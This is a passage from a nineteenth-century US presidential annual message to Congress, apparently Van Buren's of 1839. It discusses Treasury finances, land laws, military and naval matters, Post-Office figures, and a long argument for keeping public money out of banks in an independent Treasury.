our citizens in that quarter, but\nthe obligations on the new Governments which have arisen out of that\nConfederation to observe its treaty stipulations will no doubt be soon\nunderstood, and it is presumed that no indisposition will exist to fulfill\nthose which it contracted with the United States.The financial operations of the Government during the present year have, I\nam happy to say, been very successful. The difficulties under which the\nTreasury Department has labored, from known defects in the existing laws\nrelative to the safe-keeping of the public moneys, aggravated by the\nsuspension of specie payments by several of the banks holding public\ndeposits or indebted to public officers for notes received in payment of\npublic dues, have been surmounted to a very gratifying extent. The large\ncurrent expenditures have been punctually met, and the faith of the\nGovernment in all its pecuniary concerns has been scrupulously maintained.The nineteen millions of Treasury notes authorized by the act of Congress\nof 1837, and the modifications thereof with a view to the indulgence of\nmerchants on their duty bonds and of the deposit banks in the payment of\npublic moneys held by them, have been so punctually redeemed as to leave\nless than the original ten millions outstanding at any one time, and the\nwhole amount unredeemed now falls short of three millions. Of these the\nchief portion is not due till next year, and the whole would have been\nalready extinguished could the Treasury have realized the payments due to\nit from the banks. If those due from them during the next year shall be\npunctually made, and if Congress shall keep the appropriations within the\nestimates, there is every reason to believe that all the outstanding\nTreasury notes can be redeemed and the ordinary expenses defrayed without\nimposing on the people any additional burden, either of loans or increased\ntaxes.To avoid this and to keep the expenditures within reasonable bounds is a\nduty second only in importance to the preservation of our national\ncharacter and the protection of our citizens in their civil and political\nrights. The creation in time of peace of a debt likely to become permanent\nis an evil for which there is no equivalent. The rapidity with which many\nof the States are apparently approaching to this condition admonishes us of\nour own duties in a manner too impressive to be disregarded. One, not the\nleast important, is to keep the Federal Government always in a condition to\ndischarge with ease and vigor its highest functions should their exercise\nbe required by any sudden conjuncture of public affairs--a condition to\nwhich we are always exposed and which may occur when it is least expected.\nTo this end it is indispensable that its finances should be untrammeled and\nits resources as far as practicable unencumbered. No circumstance could\npresent greater obstacles to the accomplishment of these vitally important\nobjects than the creation of an onerous national debt. Our own experience\nand also that of other nations have demonstrated the unavoidable and\nfearful rapidity with which a public debt is increased when the Government\nhas once surrendered itself to the ruinous practice of supplying its\nsupposed necessities by new loans. The struggle, therefore, on our part to\nbe successful must be made at the threshold. To make our efforts effective,\nsevere economy is necessary. This is the surest provision for the national\nwelfare, and it is at the same time the best preservative of the principles\non which our institutions rest. Simplicity and economy in the affairs of\nstate have never failed to chasten and invigorate republican principles,\nwhile these have been as surely subverted by national prodigality, under\nwhatever specious pretexts it may have been introduced or fostered.These considerations can not be lost upon a people who have never been\ninattentive to the effect of their policy upon the institutions they have\ncreated for themselves, but at the present moment their force is augmented\nby the necessity which a decreasing revenue must impose. The check lately\ngiven to importations of articles subject to duties, the derangements in\nthe operations of internal trade, and especially the reduction gradually\ntaking place in our tariff of duties, all tend materially to lessen our\nreceipts; indeed, it is probable that the diminution resulting from the\nlast cause alone will not fall short of $5,000,000 in the year 1842, as the\nfinal reduction of all duties to 20 per cent then takes effect. The whole\nrevenue then accruing from the customs and from the sales of public lands,\nif not more, will undoubtedly be wanted to defray the necessary expenses of\nthe Government under the most prudent administration of its affairs. These\nare circumstances that impose the necessity of rigid economy and require\nits prompt and constant exercise. With the Legislature rest the power and\nduty of so adjusting the public expenditure as to promote this end. By the\nprovisions of the Constitution it is only in consequence of appropriations\nmade by law that money can be drawn from the Treasury. No instance has\noccurred since the establishment of the Government in which the Executive,\nthough a component part of the legislative power, has interposed an\nobjection to an appropriation bill on the sole ground of its extravagance.\nHis duty in this respect has been considered fulfilled by requesting such\nappropriations only as the public service may be reasonably expected to\nrequire. In the present earnest direction of the public mind toward this\nsubject both the Executive and the Legislature have evidence of the strict\nresponsibility to which they will be held; and while I am conscious of my\nown anxious efforts to perform with fidelity this portion of my public\nfunctions, it is a satisfaction to me to be able to count on a cordial\ncooperation from you.At the time I entered upon my present duties our ordinary disbursements,\nwithout including those on account of the public debt, the Post-Office, and\nthe trust funds in charge of the Government, had been largely increased by\nappropriations for the removal of the Indians, for repelling Indian\nhostilities, and for other less urgent expenses which grew out of an\noverflowing Treasury. Independent of the redemption of the public debt and\ntrusts, the gross expenditures of seventeen and eighteen millions in 1834\nand 1835 had by these causes swelled to twenty-nine millions in 1836, and\nthe appropriations for 1837, made previously to the 4th of March, caused\nthe expenditure to rise to the very large amount of thirty-three millions.\nWe were enabled during the year 1838, notwithstanding the continuance of\nour Indian embarrassments, somewhat to reduce this amount, and that for the\npresent year (1839) will not in all probability exceed twenty-six millions,\nor six millions less than it was last year. With a determination, so far as\ndepends on me, to continue this reduction, I have directed the estimates\nfor 1840 to be subjected to the severest scrutiny and to be limited to the\nabsolute requirements of the public service. They will be found less than\nthe expenditures of 1839 by over $5,000,000.The precautionary measures which will be recommended by the Secretary of\nthe Treasury to protect faithfully the public credit under the fluctuations\nand contingencies to which our receipts and expenditures are exposed, and\nespecially in a commercial crisis like the present, are commended to your\nearly attention.On a former occasion your attention was invited to various considerations\nin support of a preemption law in behalf of the settlers on the public\nlands, and also of a law graduating the prices for such lands as had long\nbeen in the market unsold in consequence of their inferior quality. The\nexecution of the act which was passed on the first subject has been\nattended with the happiest consequences in quieting titles and securing\nimprovements to the industrious, and it has also to a very gratifying\nextent been exempt from the frauds which were practiced under previous\npreemption laws. It has at the same time, as was anticipated, contributed\nliberally during the present year to the receipts of the Treasury.The passage of a graduation law, with the guards before recommended, would\nalso, I am persuaded, add considerably to the revenue for several years,\nand prove in other respects just and beneficial. Your early consideration\nof the subject is therefore once more earnestly requested.The present condition of the defenses of our principal seaports and\nnavy-yards, as represented by the accompanying report of the Secretary of\nWar, calls for the early and serious attention of Congress; and, as\nconnecting itself intimately with this subject, I can not recommend too\nstrongly to your consideration the plan submitted by that officer for the\norganization of the militia of the United States.In conformity with the expressed wishes of Congress, an attempt was made in\nthe spring to terminate the Florida war by negotiation. It is to be\nregretted that these humane intentions should have been frustrated and that\nthe effort to bring these unhappy difficulties to a satisfactory conclusion\nshould have failed; but after entering into solemn engagements with the\ncommanding general, the Indians, without any provocation, recommenced their\nacts of treachery and murder. The renewal of hostilities in that Territory\nrenders it necessary that I should recommend to your favorable\nconsideration the plan which will be submitted to you by the Secretary of\nWar, in order to enable that Department to conduct them to a successful\nissue.Having had an opportunity of personally inspecting a portion of the troops\nduring the last summer, it gives me pleasure to bear testimony to the\nsuccess of the effort to improve their discipline by keeping them together\nin as large bodies as the nature of our service will permit. I recommend,\ntherefore, that commodious and permanent barracks be constructed at the\nseveral posts designated by the Secretary of War. Notwithstanding the high\nstate of their discipline and excellent police, the evils resulting to the\nservice from the deficiency of company officers were very apparent, and I\nrecommend that the staff officers be permanently separated from the line.The Navy has been usefully and honorably employed in protecting the rights\nand property of our citizens wherever the condition of affairs seemed to\nrequire its presence. With the exception of one instance, where an outrage,\naccompanied by murder, was committed on a vessel of the United States while\nengaged in a lawful commerce, nothing is known to have occurred to impede\nor molest the enterprise of our citizens on that element, where it is so\nsignally displayed. On learning this daring act of piracy, Commodore Reed\nproceeded immediately to the spot, and receiving no satisfaction, either in\nthe surrender of the murderers or the restoration of the plundered\nproperty, inflicted severe and merited chastisement on the barbarians.It will be seen by the report of the Secretary of the Navy respecting the\ndisposition of our ships of war that it has been deemed necessary to\nstation a competent force on the coast of Africa to prevent a fraudulent\nuse of our flag by foreigners.Recent experience has shown that the provisions in our existing laws which\nrelate to the sale and transfer of American vessels while abroad are\nextremely defective. Advantage has been taken of these defects to give to\nvessels wholly belonging to foreigners and navigating the ocean an apparent\nAmerican ownership. This character has been so well simulated as to afford\nthem comparative security in prosecuting the slave trade--a traffic\nemphatically denounced in our statutes, regarded with abhorrence by our\ncitizens, and of which the effectual suppression is nowhere more sincerely\ndesired than in the United States. These circumstances make it proper to\nrecommend to your early attention a careful revision of these laws, so that\nwithout impeding the freedom and facilities of our navigation or impairing\nan important branch of our industry connected with it the integrity and\nhonor of our flag may be carefully preserved. Information derived from our\nconsul at Havana showing the necessity of this was communicated to a\ncommittee of the Senate near the close of the last session, but too late,\nas it appeared, to be acted upon. It will be brought to your notice by the\nproper Department, with additional communications from other sources.The latest accounts from the exploring expedition represent it as\nproceeding successfully in its objects and promising results no less useful\nto trade and navigation than to science.The extent of post-roads covered by mail service on the 1st of July last\nwas about 133,999 miles and the rate of annual transportation upon them\n34,496,878 miles. The number of post-offices on that day was 12,780 and on\nthe 30th ultimo 13,028.The revenue of the Post-Office Department for the year ending with the 30th\nof June last was $4,476,638, exhibiting an increase over the preceding year\nof $241,560. The engagements and liabilities of the Department for the same\nperiod are $4,624,117.The excess of liabilities over the revenue for the last two years has been\nmet out of the surplus which had previously accumulated. The cash on hand\non the 30th ultimo was about $206,701.95 and the current income of the\nDepartment varies very little from the rate of current expenditures. Most\nof the service suspended last year has been restored, and most of the new\nroutes established by the act of 7th July, 1838, have been set in\noperation, at an annual cost of $136,963. Notwithstanding the pecuniary\ndifficulties of the country, the revenue of the Department appears to be\nincreasing, and unless it shall be seriously checked by the recent\nsuspension of payment by so many of the banks it will be able not only to\nmaintain the present mail service, but in a short time to extend it. It is\ngratifying to witness the promptitude and fidelity with which the agents of\nthis Department in general perform their public duties.Some difficulties have arisen in relation to contracts for the\ntransportation of the mails by railroad and steamboat companies. It appears\nthat the maximum of compensation provided by Congress for the\ntransportation of the mails upon railroads is not sufficient to induce some\nof the companies to convey them at such hours as are required for the\naccommodation of the public. It is one of the most important duties of the\nGeneral Government to provide and maintain for the use of the people of the\nStates the best practicable mail establishment. To arrive at that end it is\nindispensable that the Post-Office Department shall be enabled to control\nthe hours at which the mails shall be carried over railroads, as it now\ndoes over all other roads. Should serious inconveniences arise from the\ninadequacy of the compensation now provided by law, or from unreasonable\ndemands by any of the railroad companies, the subject is of such general\nimportance as to require the prompt attention of Congress.In relation to steamboat lines, the most efficient remedy is obvious and\nhas been suggested by the Postmaster-General. The War and Navy Departments\nalready employ steamboats in their service; and although it is by no means\ndesirable that the Government should undertake the transportation of\npassengers or freight as a business, there can be no reasonable objection\nto running boats, temporarily, whenever it may be necessary to put down\nattempts at extortion, to be discontinued as soon as reasonable contracts\ncan be obtained.The suggestions of the Postmaster-General relative to the inadequacy of the\nlegal allowance to witnesses in cases of prosecutions for mail depredations\nmerit your serious consideration. The safety of the mails requires that\nsuch prosecutions shall be efficient, and justice to the citizen whose time\nis required to be given to the public demands not only that his expenses\nshall be paid, but that he shall receive a reasonable compensation.The reports from the War, Navy, and Post-Office Departments will accompany\nthis communication, and one from the Treasury Department will be presented\nto Congress in a few days.For various details in respect to the matters in charge of these\nDepartments I would refer you to those important documents, satisfied that\nyou will find in them many valuable suggestions which will be found well\ndeserving the attention of the Legislature.From a report made in December of last year by the Secretary of State to\nthe Senate, showing the trial docket of each of the circuit courts and the\nnumber of miles each judge has to travel in the performance of his duties,\na great inequality appears in the amount of labor assigned to each judge.\nThe number of terms to be held in each of the courts composing the ninth\ncircuit, the distances between the places at which they sit and from thence\nto the seat of Government, are represented to be such as to render it\nimpossible for the judge of that circuit to perform in a manner\ncorresponding with the public exigencies his term and circuit duties. A\nrevision, therefore, of the present arrangement of the circuit seems to be\ncalled for and is recommended to your notice.I think it proper to call your attention to the power assumed by\nTerritorial legislatures to authorize the issue of bonds by corporate\ncompanies on the guaranty of the Territory. Congress passed a law in 1836\nproviding that no act of a Territorial legislature incorporating banks\nshould have the force of law until approved by Congress, but acts of a very\nexceptionable character previously passed by the legislature of Florida\nwere suffered to remain in force, by virtue of which bonds may be issued to\na very large amount by those institutions upon the faith of the Territory.\nA resolution, intending to be a joint one, passed the Senate at the same\nsession, expressing the sense of Congress that the laws in question ought\nnot to be permitted to remain in force unless amended in many material\nrespects; but it failed in the House of Representatives for want of time,\nand the desired amendments have not been made. The interests involved are\nof great importance, and the subject deserves your early and careful\nattention.The continued agitation of the question relative to the best mode of\nkeeping and disbursing the public money still injuriously affects the\nbusiness of the country. The suspension of specie payments in 1837 rendered\nthe use of deposit banks as prescribed by the act of 1836 a source rather\nof embarrassment than aid, and of necessity placed the custody of most of\nthe public money afterwards collected in charge of the public officers. The\nnew securities for its safety which this required were a principal cause of\nmy convening an extra session of Congress, but in consequence of a\ndisagreement between the two Houses neither then nor at any subsequent\nperiod has there been any legislation on the subject. The effort made at\nthe last session to obtain the authority of Congress to punish the use of\npublic money for private purposes as a crime a measure attended under other\ngovernments with signal advantage--was also unsuccessful, from diversities\nof opinion in that body, notwithstanding the anxiety doubtless felt by it\nto afford every practicable security. The result of this is still to leave\nthe custody of the public money without those safeguards which have been\nfor several years earnestly desired by the Executive, and as the remedy is\nonly to be found in the action of the Legislature it imposes on me the duty\nof again submitting to you the propriety of passing a law providing for the\nsafe-keeping of the public moneys, and especially to ask that its use for\nprivate purposes by any officers intrusted with it may be declared to be a\nfelony, punishable with penalties proportioned to the magnitude of the\noffense.These circumstances, added to known defects in the existing laws and\nunusual derangement in the general operations of trade, have during the\nlast three years much increased the difficulties attendant on the\ncollection, keeping, and disbursement of the revenue, and called forth\ncorresponding exertions from those having them in charge. Happily these\nhave been successful beyond expectation. Vast sums have been collected and\ndisbursed by the several Departments with unexpected cheapness and ease,\ntransfers have been readily made to every part of the Union, however\ndistant, and defalcations have been far less than might have been\nanticipated from the absence of adequate legal restraints. Since the\nofficers of the Treasury and Post-Office Departments were charged with the\ncustody of most of the public moneys received by them there have been\ncollected $66,000,000, and, excluding the case of the late collector at New\nYork, the aggregate amount of losses sustained in the collection can not,\nit is believed, exceed $60,000. The defalcation of the late collector at\nthat city, of the extent and circumstances of which Congress have been\nfully informed, ran through all the modes of keeping the public money that\nhave been hitherto in use, and was distinguished by an aggravated disregard\nof duty that broke through the restraints of every system, and can not,\ntherefore, be usefully referred to as a test of the comparative safety of\neither. Additional information will also be furnished by the report of the\nSecretary of the Treasury, in reply to a call made upon that officer by the\nHouse of Representatives at the last session requiring detailed information\non the subject of defaults by public officers or agents under each\nAdministration from 1789 to 1837. This document will be submitted to you in\na few days. The general results (independent of the Post-Office, which is\nkept separately and will be stated by itself), so far as they bear upon\nthis subject, are that the losses which have been and are likely to be\nsustained by any class of agents have been the greatest by banks,\nincluding, as required in the resolution, their depreciated paper received\nfor public dues; that the next largest have been by disbursing officers,\nand the least by collectors and receivers. If the losses on duty bonds are\nincluded, they alone will be threefold those by both collectors and\nreceivers. Our whole experience, therefore, furnishes the strongest\nevidence that the desired legislation of Congress is alone wanting to\ninsure in those operations the highest degree of security and facility.\nSuch also appears to have been the experience of other nations. From the\nresults of inquiries made by the Secretary of the Treasury in regard to the\npractice among them I am enabled to state that in twenty-two out of\ntwenty-seven foreign governments from which undoubted information has been\nobtained the public moneys are kept in charge of public officers. This\nconcurrence of opinion in favor of that system is perhaps as great as\nexists on any question of internal administration.In the modes of business and official restraints on disbursing officers no\nlegal change was produced by the suspension of specie payments. The report\nlast referred to will be found to contain also much useful information in\nrelation to this subject.I have heretofore assigned to Congress my reasons for believing that the\nestablishment of an independent National Treasury, as contemplated by the\nConstitution, is necessary to the safe action of the Federal Government.\nThe suspension of specie payments in 1837 by the banks having the custody\nof the public money showed in so alarming a degree our dependence on those\ninstitutions for the performance of duties required by law that I then\nrecommended the entire dissolution of that connection. This recommendation\nhas been subjected, as I desired it should be, to severe scrutiny and\nanimated discussion, and I allow myself to believe that notwithstanding the\nnatural diversities of opinion which may be anticipated on all subjects\ninvolving such important considerations, it has secured in its favor as\ngeneral a concurrence of public sentiment as could be expected on one of\nsuch magnitude.Recent events have also continued to develop new objections to such a\nconnection. Seldom is any bank, under the existing system and practice,\nable to meet on demand all its liabilities for deposits and notes in\ncirculation. It maintains specie payments and transacts a profitable\nbusiness only by the confidence of the public in its solvency, and whenever\nthis is destroyed the demands of its depositors and note holders, pressed\nmore rapidly than it can make collections from its debtors, force it to\nstop payment. This loss of confidence, with its consequences, occurred in\n1837, and afforded the apology of the banks for their suspension. The\npublic then acquiesced in the validity of the excuse, and while the State\nlegislatures did not exact from them their forfeited charters, Congress, in\naccordance with the recommendation of the Executive, allowed them time to\npay over the public money they held, although compelled to issue Treasury\nnotes to supply the deficiency thus created.It now appears that there are other motives than a want of public\nconfidence under which the banks seek to justify themselves in a refusal to\nmeet their obligations. Scarcely were the country and Government relieved\nin a degree from the difficulties occasioned by the general suspension of\n1837 when a partial one, occurring within thirty months of the former,\nproduced new and serious embarrassments, though it had no palliation in\nsuch circumstances as were alleged in justification of that which had\npreviously taken place. There was nothing in the condition of the country\nto endanger a well-managed banking institution; commerce was deranged by no\nforeign war; every branch of manufacturing industry was crowned with rich\nrewards, and the more than usual abundance of our harvests, after supplying\nour domestic wants, had left our granaries and storehouses filled with a\nsurplus for exportation. It is in the midst of this that an irredeemable\nand depreciated paper currency is entailed upon the people by a large\nportion of the banks. They are not driven to it by the exhibition of a loss\nof public confidence or of a sudden pressure from their depositors or note\nholders, but they excuse themselves by alleging that the current of\nbusiness and exchange with foreign countries, which draws the precious\nmetals from their vaults, would require in order to meet it a larger\ncurtailment of their loans to a comparatively small portion of the\ncommunity than it will be convenient for them to bear or perhaps safe for\nthe banks to exact. The plea has ceased to be one of necessity. Convenience\nand policy are now deemed sufficient to warrant these institutions in\ndisregarding their solemn obligations. Such conduct is not merely an injury\nto individual creditors, but it is a wrong to the whole community, from\nwhose liberality they hold most valuable privileges, whose rights they\nviolate, whose business they derange, and the value of whose property they\nrender unstable and insecure. It must be evident that this new ground for\nbank suspensions, in reference to which their action is not only\ndisconnected with, but wholly independent of, that of the public, gives a\ncharacter to their suspensions more alarming than any which they exhibited\nbefore, and greatly increases the impropriety of relying on the banks in\nthe transactions of the Government.A large and highly respectable portion of our banking institutions are, it\naffords me unfeigned pleasure to state, exempted from all blame on account\nof this second delinquency. They have, to their great credit, not only\ncontinued to meet their engagements, but have even repudiated the grounds\nof suspension now resorted to. It is only by such a course that the\nconfidence and good will of the community can be preserved, and in the\nsequel the best interests of the institutions themselves promoted.New dangers to the banks are also daily disclosed from the extension of\nthat system of extravagant credit of which they are the pillars. Formerly\nour foreign commerce was principally rounded on an exchange of commodities,\nincluding the precious metals, and leaving in its transactions but little\nforeign debt. Such is not now the case. Aided by the facilities afforded by\nthe banks, mere credit has become too commonly the basis of trade. Many of\nthe banks themselves, not content with largely stimulating this system\namong others, have usurped the business, while they impair the stability,\nof the mercantile community; they have become borrowers instead of lenders;\nthey establish their agencies abroad; they deal largely in stocks and\nmerchandise; they encourage the issue of State securities until the foreign\nmarket is glutted with them; and, unsatisfied with the legitimate use of\ntheir own capital and the exercise of their lawful privileges, they raise\nby large loans additional means for every variety of speculation. The\ndisasters attendant on this deviation from the former course of business in\nthis country are now shared alike by banks and individuals to an extent of\nwhich there is perhaps no previous example in the annals of our country. So\nlong as a willingness of the foreign lender and a sufficient export of our\nproductions to meet any necessary partial payments leave the flow of credit\nundisturbed all appears to be prosperous, but as soon as it is checked by\nany hesitation abroad or by an inability to make payment there in our\nproductions the evils of the system are disclosed. The paper currency,\nwhich might serve for domestic purposes, is useless to pay the debt due in\nEurope. Gold and silver are therefore drawn in exchange for their notes\nfrom the banks. To keep up their supply of coin these institutions are\nobliged to call upon their own debtors, who pay them principally in their\nown notes, which are as unavailable to them as they are to the merchants to\nmeet the foreign demand. The calls of the banks, therefore, in such\nemergencies of necessity exceed that demand, and produce a corresponding\ncurtailment of their accommodations and of the currency at the very moment\nwhen the state of trade renders it most inconvenient to be borne. The\nintensity of this pressure on the community is in proportion to the\nprevious liberality of credit and consequent expansion of the currency.\nForced sales of property are made at the time when the means of purchasing\nare most reduced, and the worst calamities to individuals are only at last\narrested by an open violation of their obligations by the banks--a refusal\nto pay specie for their notes and an imposition upon the community of a\nfluctuating and depreciated currency.These consequences are inherent in the present system. They are not\ninfluenced by the banks being large or small, created by National or State\nGovernments. They are the results of the irresistible laws of trade or\ncredit. In the recent events, which have so strikingly illustrated the\ncertain effects of these laws, we have seen the bank of the largest capital\nin the Union, established under a national charter, and lately\nstrengthened, as we were authoritatively informed, by exchanging that for a\nState charter with new and unusual privileges--in a condition, too, as it\nwas said, of entire soundness and great prosperity--not merely unable to\nresist these effects, but the first to yield to them.Nor is it to be overlooked that there exists a chain of necessary\ndependence among these institutions which obliges them to a great extent to\nfollow the course of others, notwithstanding its injustice to their own\nimmediate creditors or injury to the particular community in which they are\nplaced. This dependence of a bank, which is in proportion to the extent of\nits debts for circulation and deposits, is not merely on others in its own\nvicinity, but on all those which connect it with the center of trade.\nDistant banks may fail without seriously affecting those in our principal\ncommercial cities, but the failure of the latter is felt at the extremities\nof the Union. The suspension at New York in 1837 was everywhere, with very\nfew exceptions, followed as soon as it was known. That recently at\nPhiladelphia immediately affected the banks of the South and West in a\nsimilar manner. This dependence of our whole banking system on the\ninstitutions in a few large cities is not found in the laws of their\norganization, but in those of trade and exchange. The banks at that center,\nto which currency flows and where it is required in payments for\nmerchandise, hold the power of controlling those in regions whence it\ncomes, while the latter possess no means of restraining them; so that the\nvalue of individual property and the prosperity of trade through the whole\ninterior of the country are made to depend on the good or bad management of\nthe banking institutions in the great seats of trade on the seaboard.But this chain of dependence does not stop here. It does not terminate at\nPhiladelphia or New York. It reaches across the ocean and ends in London,\nthe center of the credit system. The same laws of trade which give to the\nbanks in our principal cities power over the whole banking system of the\nUnited States subject the former, in their turn, to the money power in\nGreat Britain. It is not denied that the suspension of the New York banks\nin 1837, which was followed in quick succession throughout the Union, was\nproduced by an application of that power, and it is now alleged, in\nextenuation of the present condition of so large a portion of our banks,\nthat their embarrassments have arisen from the same cause.From this influence they can not now entirely escape, for it has its origin\nin the credit currencies of the two countries; it is strengthened by the\ncurrent of trade and exchange which centers in London, and is rendered\nalmost irresistible by the large debts contracted there by our merchants,\nour banks, and our States. It is thus that an introduction of a new bank\ninto the most distant of our villages places the business of that village\nwithin the influence of the money power in England; it is thus that every\nnew debt which we contract in that country seriously affects our own\ncurrency and extends over the pursuits of our citizens its powerful\ninfluence. We can not escape from this by making new banks, great or small,\nState or national. The same chains which bind those now existing to the\ncenter of this system of paper credit must equally fetter every similar\ninstitution we create. It is only by the extent to which this system has\nbeen pushed of late that we have been made fully aware of its irresistible\ntendency to subject our own banks and currency to a vast controlling power\nin a foreign lad, and it adds a new argument to those which illustrate\ntheir precarious situation.. Endangered in the first place by their own\nmismanagement and again by the conduct of every institution which connects\nthem with the center of trade in our own country, they are yet subjected\nbeyond all this to the effect of whatever measures policy, necessity, or\ncaprice may induce those who control the credits of England to resort to. I\nmean not to comment upon these measures, present or past, and much less to\ndiscourage the prosecution of fair commercial dealing between the two\ncountries, based on reciprocal benefits; but it having now been made\nmanifest that the power of inflicting these and similar injuries is by the\nresistless law of a credit currency and credit trade equally capable of\nextending their consequences through all the ramifications of our banking\nsystem, and by that means indirectly obtaining, particularly when our banks\nare used as depositories of the public moneys, a dangerous political\ninfluence in the United States, I have deemed it my duty to bring the\nsubject to your notice and ask for it your serious consideration.Is an argument required beyond the exposition of these facts to show the\nimpropriety of using our banking institutions as depositories of the public\nmoney? Can we venture not only to encounter the risk of their individual\nand mutual mismanagement, but at the same time to place our foreign and\ndomestic policy entirely under the control of a foreign moneyed interest?\nTo do so is to impair the independence of our Government, as the present\ncredit system has already impaired the independence of our banks; it is to\nsubmit all its important operations, whether of peace or war, to be\ncontrolled or thwarted, at first by our own banks and then by a power\nabroad greater than themselves. I can not bring myself to depict the\nhumiliation to which this Government and people might be sooner or later\nreduced if the means for defending their rights are to be made dependent\nupon those who may have the most powerful of motives to impair them.Nor is it only in reference to the effect of this state of things on the\nindependence of our Government or of our banks that the subject presents\nitself for consideration; it is to be viewed also in its relations to the\ngeneral trade of our country. The time is not long passed when a deficiency\nof foreign crops was thought to afford a profitable market for the surplus\nof our industry, but now we await with feverish anxiety the news of the\nEnglish harvest, not so much from motives of commendable sympathy, but\nfearful lest its anticipated failure should narrow the field of credit\nthere. Does not this speak volumes to the patriot? Can a system be\nbeneficent, wise, or just which creates greater anxiety for interests\ndependent on foreign credit than for the general prosperity of our own\ncountry and the profitable exportation of the surplus produce of our\nlabor?The circumstances to which I have thus adverted appear to me to afford\nweighty reasons, developed by late events, to be added to those which I\nhave on former occasions offered when submitting to your better knowledge\nand discernment the propriety of separating the custody of the public money\nfrom banking institutions. Nor has anything occurred to lessen, in my\nopinion, the force of what has been heretofore urged. The only ground on\nwhich that custody can be desired by the banks is the profitable use which\nthey may make of the money. Such use would be regarded in individuals as a\nbreach of trust or a crime of great magnitude, and yet it may be reasonably\ndoubted whether, first and last, it is not attended with more mischievous\nconsequences when permitted to the former than to the latter. The practice\nof permitting the public money to be used by its keepers, as here, is\nbelieved to be peculiar to this country and to exist scarcely anywhere\nelse. To procure it here improper influences are appealed to, unwise\nconnections are established between the Government and vast numbers of\npowerful State institutions, other motives than the public good are brought\nto bear both on the executive and legislative departments, and selfish\ncombinations leading to special legislation are formed. It is made the\ninterest of banking institutions and their stockholders throughout the\nUnion to use their exertions for the increase of taxation and the\naccumulation of a surplus revenue, and while an excuse is afforded the\nmeans are furnished for those excessive issues which lead to extravagant\ntrading and speculation and are the forerunners of a vast debt abroad and a\nsuspension of the banks at home.Impressed, therefore, as I am with the propriety of the funds of the\nGovernment being withdrawn from the private use of either banks or\nindividuals, and the public money kept by duly appointed public agents, and\nbelieving as I do that such also is the judgment which discussion,\nreflection, and experience have produced on the public mind, I leave the\nsubject with you. It is, at all events, essential to the interests of the\ncommunity and the business of the Government that a decision should be\nmade.Most of the arguments that dissuade us from employing banks in the custody\nand disbursement of the public money apply with equal force to the receipt\nof their notes for public dues. The difference is only in form. In one\ninstance the Government is a creditor for its deposits, and in the other\nfor the notes it holds. They afford the same opportunity for using the\npublic moneys, and equally lead to all the evils attendant upon it, since a\nbank can as safely extend its discounts on a deposit of its notes in the\nhands of a public officer as on one made in its own vaults. On the other\nhand, it would give to the Government no greater security, for in case of\nfailure the claim of the note holder would be no better than that of a\ndepositor.I am aware that the danger of inconvenience to the public and unreasonable\npressure upon sound banks have been urged as objections to requiring the\npayment of the revenue in gold and silver. These objections have been\ngreatly exaggerated. From the best estimates we may safely fix the amount\nof specie in the country at $85,000,000, and the portion of that which\nwould be employed at any one time in the receipts and disbursements of the\nGovernment, even if the proposed change were made at once, would not, it is\nnow, after fuller investigation, believed exceed four or five millions. If\nthe change were gradual, several years would elapse before that sum would\nbe required, with annual opportunities in the meantime to alter the law\nshould experience prove it to be oppressive or inconvenient. The portions\nof the community on whose business the change would immediately operate are\ncomparatively small, nor is it believed that its effect would be in the\nleast unjust or injurious to them.In the payment of duties, which constitute by far the greater portion of\nthe revenue, a very large proportion is derived from foreign commission\nhouses and agents of foreign manufacturers, who sell the goods consigned to\nthem generally at auction, and after paying the duties out of the avails\nremit the rest abroad in specie or its equivalent. That the amount of\nduties should in such cases be also retained in specie can hardly be made a\nmatter of complaint. Our own importing merchants, by whom the residue of\nthe duties is paid, are not only peculiarly interested in maintaining a\nsound currency, which the measure in question will especially promote, but\nare from the nature of their dealings best able to know when specie will be\nneeded and to procure it with the least difficulty or sacrifice. Residing,\ntoo, almost universally in places where the revenue is received and where\nthe drafts used by the Government for its disbursements must concentrate,\nthey have every opportunity to obtain and use them in place of specie\nshould it be for their interest or convenience. Of the number of these\ndrafts and the facilities they may afford, as well as of the rapidity with\nwhich the public funds are drawn and disbursed, an idea may be formed from\nthe fact that of nearly $20,000,000 paid to collectors and receivers during\nthe present year the average amount in their hands at any one time has not\nexceeded a million and a half, and of the fifteen millions received by the\ncollector of New York alone during the present year the average amount held\nby him subject to draft during each week has been less than half a\nmillion.The ease and safety of the operations of the Treasury in keeping the public\nmoney are promoted by the application of its own drafts to the public dues.\nThe objection arising from having them too long outstanding might be\nobviated and they yet made to afford to merchants and banks holding them an\nequivalent for specie, and in that way greatly lessen the amount actually\nrequired. Still less inconvenience will attend the requirement of specie in\npurchases of public lands. Such purchases, except when made on speculation,\nare in general but single transactions, rarely repeated by the same person;\nand it is a fact that for the last year and a half, during which the notes\nof sound banks have been received, more than a moiety of these payments has\nbeen voluntarily made in specie, being a larger proportion than would have\nbeen required in three years under the graduation proposed.It is, moreover, a principle than which none is better settled by\nexperience that the supply of the precious metals will always be found\nadequate to the uses for which they are required. They abound in countries\nwhere no other currency is allowed. In our own States, where small notes\nare excluded, gold and silver supply their place. When driven to their\nhiding places by bank suspensions, a little firmness in the community soon\nrestores them in a sufficient quantity for ordinary purposes. Postage and\nother public dues have been collected in coin without serious inconvenience\neven in States where a depreciated paper currency has existed for years,\nand this, with the aid of Treasury notes for a part of the time, was done\nwithout interruption during the suspension of 1837. At the present moment\nthe receipts and disbursements of the Government are made in legal currency\nin the largest portion of the Union. No one suggests a departure from this\nrule, and if it can now be successfully carried out it will be surely\nattended with even less difficulty when bank notes are again redeemed in\nspecie.Indeed, I can not think that a serious objection would anywhere be raised\nto the receipt and payment of gold and silver in all public transactions\nwere it not from an apprehension that a surplus in the Treasury might\nwithdraw a large portion of it from circulation and lock it up unprofitably\nin the public vaults. It would not, in my opinion, be difficult to prevent\nsuch an inconvenience from occurring; but the authentic statements which I\nhave already submitted to you in regard to the actual amount in the public\nTreasury at any one time during the period embraced in them and the little\nprobability of a different state of the Treasury for at least some years to\ncome seem to render it unnecessary to dwell upon it. Congress, moreover, as\nI have before observed, will in every year have an opportunity to guard\nagainst it should the occurrence of any circumstances lead us to apprehend\ninjury from this source. Viewing the subject in all its aspects, I can not\nbelieve that any period will be more auspicious than the present for the\nadoption of all measures necessary to maintain the sanctity of our own\nengagements and to aid in securing to the community that abundant supply of\nthe precious metals which adds so much to their prosperity and gives such\nincreased stability to all their dealings.In a country so commercial as ours banks in some form will probably always\nexist, but this serves only to render it the more incumbent on us,\nnotwithstanding the discouragements of the past, to strive in our\nrespective stations to mitigate the evils they produce; to take from them\nas rapidly as the obligations of public faith and a careful consideration\nof the immediate interests of the community will permit the unjust\ncharacter of monopolies; to check, so 